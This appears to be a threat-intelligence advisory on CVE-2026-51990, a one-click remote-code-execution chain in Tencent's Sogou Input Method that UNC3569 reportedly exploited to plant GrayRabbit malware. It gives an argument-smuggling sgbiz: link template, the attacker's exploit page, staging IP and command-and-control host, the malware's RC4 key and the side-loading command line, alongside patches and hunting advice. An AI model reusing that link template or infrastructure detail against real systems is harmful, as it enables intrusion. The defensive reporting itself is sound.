CVE-2026-51990: One-Click RCE in Tencent Sogou Input Method Exploited by UNC3569 to Deploy GrayRabbit Malware

CVE-2026-51990 (TL-2026-2474), also tracked as Sogou sgbiz: One-Click RCE Chain, is a critical-severity software vulnerability, first published 2026-09-13. It is attributed to UNC3569 (China) with high confidence, affects Tencent Sogou Input Method (Windows), references 2 CVEs (CVE-2026-51990, CVE-2021-38003), maps to 14 MITRE ATT&CK techniques (T1027, T1057, T1059), and is covered by 9 detection rules and 18 indicators of compromise.

Key facts for TL-2026-2474

Threat ID
TL-2026-2474
Also known as
Sogou sgbiz: One-Click RCE Chain
Severity
CRITICAL
Status
ACTIVE
Category
VULNERABILITY
First published
2026-09-13
Last reviewed
2026-09-13
Attribution
UNC3569
Attribution confidence
HIGH
Nation-state nexus
China
Motivation
ESPIONAGE
Target sectors
government administration, education, technology, financial services
Target regions
East Asia, Southeast Asia, china
Detection rules
9
Indicators of compromise
18

Malware and tooling in CVE-2026-51990

Malware and tooling: GRAYRABBIT, One, RABBITFUR, Cobalt Strike, PlugX

A one-click remote code execution flaw (CVE-2026-51990) in Tencent's Sogou Input Method for Windows, chaining unvalidated command-line argument injection in the sgbiz: URI protocol handler, unrestricted URL navigation in its CEF-based webview, and an outdated unsandboxed Chromium 80 engine, is being actively exploited by the China-based threat group UNC3569 to deploy the modular GrayRabbit malware. Tencent patched the flaw in version 16.3.0.3498 on April 21, 2026, after Gen Digital reported it on April 9, 2026.

How CVE-2026-51990 works

CVE-2026-51990 is a three-stage chained vulnerability in Tencent's Sogou Input Method for Windows, a Chinese-language input method editor with hundreds of millions of installations. The chain begins in biz_helper.exe, the handler for the application's custom sgbiz: URI scheme. While the handler thoroughly validates the module parameter (path traversal checks, MAX_PATH limits, file existence checks), the param parameter that carries command-line arguments to the launched Sogou executable receives no validation beyond URL decoding. An attacker can therefore craft a link such as sgbiz:sg_process?module=sgmyinput.exe&param=-page%3Dskincenter%20-url%3D<attacker-URL> that launches SGMyInput.exe with a -page=skincenter argument, the only code path that instantiates a Chromium Embedded Framework (CEF) webview. That webview's OnWebViewIsReady function accepts the accompanying -url argument and navigates to it with no scheme check, no domain allowlist, and no validation of any kind, giving the attacker full control of the destination. The webview itself runs on CEF 80.1.16 / Chromium 80.0.3987.163 (March 2020) — over six years and 60+ major versions out of date at time of exploitation — with no_sandbox explicitly enabled, disable-web-security hardcoded (disabling same-origin policy), and allow-file-access-from-files enabled, exposing hundreds of unpatched Chromium CVEs to a single crafted link with no further user interaction.

Gen Digital discovered the flaw while investigating an intrusion by the China-nexus threat actor UNC3569 that began inside Sogou Input Method, and reported it to Tencent on April 9, 2026 (90-day coordinated disclosure). Tencent acknowledged the next day and shipped a fix in version 16.3.0.3498 on April 21, 2026: biz_helper.exe now identifies -url/-firsturl switches, parses them with InternetCrackUrlW, rejects any scheme other than HTTPS, and enforces a suffix-matched hostname allowlist (sogou.com, qq.com, woa.com, sogou). The underlying CEF/Chromium 80 engine, its disabled sandbox, and its disabled web-security flags remain unaddressed. MITRE assigned CVE-2026-51990 on July 10, 2026, and Gen Digital publicly disclosed active in-the-wild exploitation on September 13, 2026.

In the observed UNC3569 campaign, the sgbiz: link pointed victims to https://noht1ng.top/fuckujjbangx.html, which exploited CVE-2021-38003 — a V8 type-confusion vulnerability in JSON.stringify that Google patched in Chrome 95 (October 2021) but that Sogou's Chromium 80 never received. The exploit corrupts V8's internal Map structures to gain arbitrary heap read/write, locates a WebAssembly instance's RWX memory, overwrites it with shellcode, and invokes it via the WebAssembly export. The resulting 921-byte x64 position-independent shellcode walks the PEB to resolve kernel32.dll (ROR8 hash matching), resolves LoadLibraryW and URLDownloadToFileA, and downloads three files from a staging server at 8.218.50.207 (Alibaba Cloud, Hong Kong): a legitimate 7z.exe, a trojanized loader DLL (7zp.dll, internal name boy.dll), and an encrypted payload file named p. The shellcode saves the trojanized DLL as 7z.dll next to 7z.exe and runs 7z.exe a c:\users\public\documents\p.7z c:\users\public\documents\p, causing 7z.exe to automatically load the co-located malicious 7z.dll (classic DLL side-loading).

The loader first performs an anti-sandbox check: it snapshots running processes with CreateToolhelp32Snapshot/Process32First/Process32Next and, on real machines, zeroes out the resulting count; on sandboxed systems the real (higher) count is retained and silently corrupts a later XOR key derivation, causing the payload to fail to decrypt cleanly under analysis. The decryption key is an XOR of a deterministic 50,000-iteration floating-point computation, the (zeroed) process-count gate value, and a hardcoded constant (0x098838B0). Once decrypted, the payload — a shellcode stub plus a single-byte XOR-encrypted (key 0x33) PE — is mapped into PAGE_EXECUTE_READWRITE memory and its CoreClientInstall export (a reflective loader) is invoked via a Windows thread-pool work item (CreateThreadpoolWork/SubmitThreadpoolWork) rather than a conventional CreateThread call, to blend in with legitimate thread-pool activity. The loader then self-deletes using an NTFS alternate-data-stream technique: it opens itself with DELETE access, renames its default data stream to a random ADS name via SetFileInformationByHandle (FileRenameInfo), then marks it for deletion (FileDispositionInfo) — removing the file without a logged DeleteFileW call.

The final payload is the GRAYRABBIT backdoor (internal module name core.dll), a lightweight but actively maintained C++ implant that Google/Mandiant has tracked as UNC3569's first-stage tool since at least 2021. This x64 variant beacons to mail.uaiubifas.top:443 (the domain string is split across a 16-byte XMM constant plus a literal 'op' at runtime to defeat static string scanning) over raw TCP — not TLS — with all traffic RC4-encrypted using a static 6-byte key (m5b1u3) in 0x1000-byte frames whose S-box is reinitialized per frame. On connection it beacons <ip>+<hostname>+<username>+<exename>:<pid> and then services a compact ten-command protocol (IDs 0–9) covering silent process execution, an interactive reverse shell (cmd.exe with piped I/O), shell-stdin writes, shell termination, plugin-module loading, system-info collection, self-termination, and bidirectional file transfer via a dedicated FileMsg chunking protocol. Additional modules are fetched on demand from the C2 and reflectively loaded into memory (manual PE mapping, relocation processing, import resolution via ntdll's LdrGetDllHandle/LdrGetProcedureAddress) rather than dropped to disk. The initial shellcode downloader's fetch-and-decode behavior mirrors UNC3569's known proprietary downloader RABBITFUR, but here it is embedded directly in exploit shellcode instead of shipped as a standalone binary.

UNC3569 is a China-nexus threat actor that Google Threat Intelligence has tracked since 2021 operating within China's cybercrime and cyber-contractor-for-hire ecosystem, with a documented pattern of exploiting n-day vulnerabilities in widely used enterprise software (Aspera Faspex, Microsoft Exchange, Oracle Web Applications Desktop Integrator, Ivanti Connect Secure) for initial access against government, education, technology, and financial-sector targets, concentrated in East and Southeast Asia. Its toolset blends custom malware (GRAYRABBIT, RABBITFUR) with commercial and shared tooling (Cobalt Strike, PlugX) and, per Trend Micro's 2026 PeckBirdy research, custom LOLBins scripting frameworks. Leaked internal communications from the Chinese contractor i-SOON (surfaced in early 2024) have been cited as evidence of a possible business relationship with UNC3569's hacker-for-hire operations.

MITRE ATT&CK techniques used in TL-2026-2474

Defense Evasion

T1027 Obfuscated Files or Information; T1140 Deobfuscate/Decode Files or Information; T1497 Virtualization/Sandbox Evasion; T1620 Reflective Code Loading

Discovery

T1057 Process Discovery; T1082 System Information Discovery

Execution

T1059 Command and Scripting Interpreter; T1106 Native API; T1203 Exploitation for Client Execution

Command and Control

T1095 Non-Application Layer Protocol; T1571 Non-Standard Port; T1573 Encrypted Channel

execution

T1204 User Execution

stealth

T1574 Hijack Execution Flow

Affected products and versions in CVE-2026-51990

  • Tencent — Sogou Input Method (Windows)
    Vulnerable versions: < 16.3.0.3498
    Fixed in: 16.3.0.3498

Remediation for CVE-2026-51990

Patches

  • Tencent Sogou Input Method 16.3.0.3498 (released April 21, 2026) — validates -url/-firsturl arguments in biz_helper.exe via InternetCrackUrlW, rejects any non-HTTPS scheme, and restricts navigation to a suffix-matched hostname allowlist (sogou.com, qq.com, woa.com, sogou)

Immediate actions

  • Update Sogou Input Method to version 16.3.0.3498 or later via Tencent's automatic update mechanism
  • Block outbound connections to mail.uaiubifas.top and noht1ng.top at the network perimeter
  • Block or alert on outbound traffic to 8.218.50.207 (Alibaba Cloud Hong Kong staging host)
  • Hunt for 7z.exe/7z.dll pairs written to c:\users\public\documents\ where 7z.dll is not a legitimate 7-Zip component, and for the exact command line '7z.exe a c:\users\public\documents\p.7z c:\users\public\documents\p'

Workarounds

  • Where feasible, uninstall or disable Sogou Input Method's skincenter webview feature (SGMyInput.exe -page=skincenter) pending patch deployment
  • Restrict process creation of biz_helper.exe and SGMyInput.exe via application control until the update is confirmed applied

Longer-term hardening

  • Deploy EDR with behavioral detection for reflective PE loading, thread-pool-based code execution (CreateThreadpoolWork/SubmitThreadpoolWork), and DLL side-loading via signed utilities
  • Restrict, monitor, or disable custom application-registered URI protocol handlers (sgbiz: and similar schemes) at the OS/browser policy level
  • Enforce network egress monitoring for raw TCP protocols on port 443 that do not present a valid TLS handshake
  • Track ongoing UNC3569 TTP reporting (Mandiant/Google, Virus Bulletin, Trend Micro) for updated infrastructure and tooling indicators

CVEs associated with CVE-2026-51990

CVE-2026-51990, CVE-2021-38003

Weaknesses (CWE) in CVE-2026-51990

CWE-88, CWE-601, CWE-1104, CWE-843

Timeline of CVE-2026-51990

  • Google/Mandiant begins tracking UNC3569, which has used the GRAYRABBIT backdoor as a first-stage implant since at least 2021.
  • Mandiant/Google publishes documentation of UNC3569 post-exploitation techniques following its exploitation of Ivanti Connect Secure VPN.
  • Virus Bulletin publishes 'Down the GRAYRABBIT Hole – Exposing UNC3569 and its Modus Operandi,' detailing the group's toolset and the GRAYRABBIT backdoor.
  • Trend Micro documents UNC3569's use of the PeckBirdy LOLBins scripting framework in ongoing China-aligned intrusion activity.
  • Gen Digital discovers CVE-2026-51990 while investigating a UNC3569 intrusion that began inside Sogou Input Method, and reports it to Tencent (security@tencent.com).
  • Tencent acknowledges receipt of the vulnerability report and begins internal assessment.
  • Tencent ships Sogou Input Method version 16.3.0.3498 via automatic update, validating -url/-firsturl arguments in biz_helper.exe, enforcing HTTPS-only schemes, and restricting navigation to an allowlist of sogou.com/qq.com/woa.com/sogou hostnames.
  • Gen Digital requests a CVE identifier for the vulnerability through MITRE.
  • MITRE assigns CVE-2026-51990 to the Sogou Input Method vulnerability chain.
  • Gen Digital publishes full technical analysis, and BleepingComputer/The Hacker News report public, active exploitation of CVE-2026-51990 by UNC3569 to deploy GRAYRABBIT.

Sources cited for CVE-2026-51990

More in vulnerability

Detection coverage for TL-2026-2474

As of 2026-09-13, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-2474 across Splunk SPL, Microsoft KQL and Sigma, covering 18 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Latest Threats